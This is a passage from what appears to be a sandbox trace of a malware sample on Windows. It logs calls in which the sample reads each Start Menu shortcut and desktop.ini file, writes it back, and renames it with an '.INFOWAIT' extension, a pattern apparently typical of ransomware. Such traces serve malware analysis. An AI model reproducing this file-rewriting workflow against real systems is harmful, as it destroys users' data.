Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\Windows Journal.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc\\windows journal.lnk.infowait")) returned 1 [0133.397] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.398] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.398] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.398] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.398] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x62b [0133.398] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.399] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.399] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x62b, lpOverlapped=0x0) returned 1 [0133.401] VirtualAlloc (lpAddress=0x0, dwSize=0x62b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.401] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.401] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x62b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x62b, lpOverlapped=0x0) returned 1 [0133.401] CloseHandle (hObject=0xad0) returned 1 [0133.401] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" [0133.401] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk.INFOWAIT" [0133.401] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Welcome Center.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\welcome center.lnk.infowait")) returned 1 [0133.402] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.402] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.403] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.403] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.403] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd8 [0133.403] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.403] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.403] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xd8, lpOverlapped=0x0) returned 1 [0133.404] VirtualAlloc (lpAddress=0x0, dwSize=0xd8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.404] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.404] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xd8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xd8, lpOverlapped=0x0) returned 1 [0133.404] CloseHandle (hObject=0xad0) returned 1 [0133.405] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini" [0133.405] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini.INFOWAIT" [0133.405] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\desktop.ini"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\desktop.ini.infowait")) returned 1 [0133.405] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.406] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.407] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.407] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.407] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x7c5 [0133.407] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.407] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.407] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x7c5, lpOverlapped=0x0) returned 1 [0133.430] VirtualAlloc (lpAddress=0x0, dwSize=0x7c5, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.431] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.431] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x7c5, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x7c5, lpOverlapped=0x0) returned 1 [0133.431] CloseHandle (hObject=0xad0) returned 1 [0133.431] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" [0133.431] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk.INFOWAIT" [0133.431] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell (x86).lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell (x86).lnk.infowait")) returned 1 [0133.432] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.432] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.433] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.433] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.433] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5bc [0133.433] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.433] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.433] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5bc, lpOverlapped=0x0) returned 1 [0133.445] VirtualAlloc (lpAddress=0x0, dwSize=0x5bc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.446] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.446] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5bc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5bc, lpOverlapped=0x0) returned 1 [0133.446] CloseHandle (hObject=0xad0) returned 1 [0133.446] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" [0133.446] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.INFOWAIT" [0133.446] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk.infowait")) returned 1 [0133.446] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.447] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.447] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.447] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.448] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5bc [0133.448] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.448] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.448] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x5bc, lpOverlapped=0x0) returned 1 [0133.505] VirtualAlloc (lpAddress=0x0, dwSize=0x5bc, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.505] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.505] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x5bc, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x5bc, lpOverlapped=0x0) returned 1 [0133.505] CloseHandle (hObject=0xad0) returned 1 [0133.505] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" [0133.506] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk.INFOWAIT" [0133.506] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk.infowait")) returned 1 [0133.506] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.507] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.507] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.507] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.508] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x76b [0133.508] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.508] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.508] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x76b, lpOverlapped=0x0) returned 1 [0133.520] VirtualAlloc (lpAddress=0x0, dwSize=0x76b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.521] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.521] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x76b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x76b, lpOverlapped=0x0) returned 1 [0133.521] CloseHandle (hObject=0xad0) returned 1 [0133.521] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" [0133.521] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk.INFOWAIT" [0133.521] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk.infowait")) returned 1 [0133.522] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.523] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.523] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.523] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.523] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x52a [0133.523] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.524] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.524] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x52a, lpOverlapped=0x0) returned 1 [0133.525] VirtualAlloc (lpAddress=0x0, dwSize=0x52a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.526] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.526] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x52a, lpOverlapped=0x0) returned 1 [0133.526] CloseHandle (hObject=0xad0) returned 1 [0133.526] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" [0133.526] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.INFOWAIT" [0133.526] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Wordpad.lnk.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\wordpad.lnk.infowait")) returned 1 [0133.526] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.527] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.527] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0133.527] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0133.528] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4da [0133.528] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0133.528] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.528] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4da, lpOverlapped=0x0) returned 1 [0133.540] VirtualAlloc (lpAddress=0x0, dwSize=0x4da, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0133.541] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0133.541] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4da, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4da, lpOverlapped=0x0) returned 1 [0133.541] CloseHandle (hObject=0xad0) returned 1 [0133.541] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" | out: 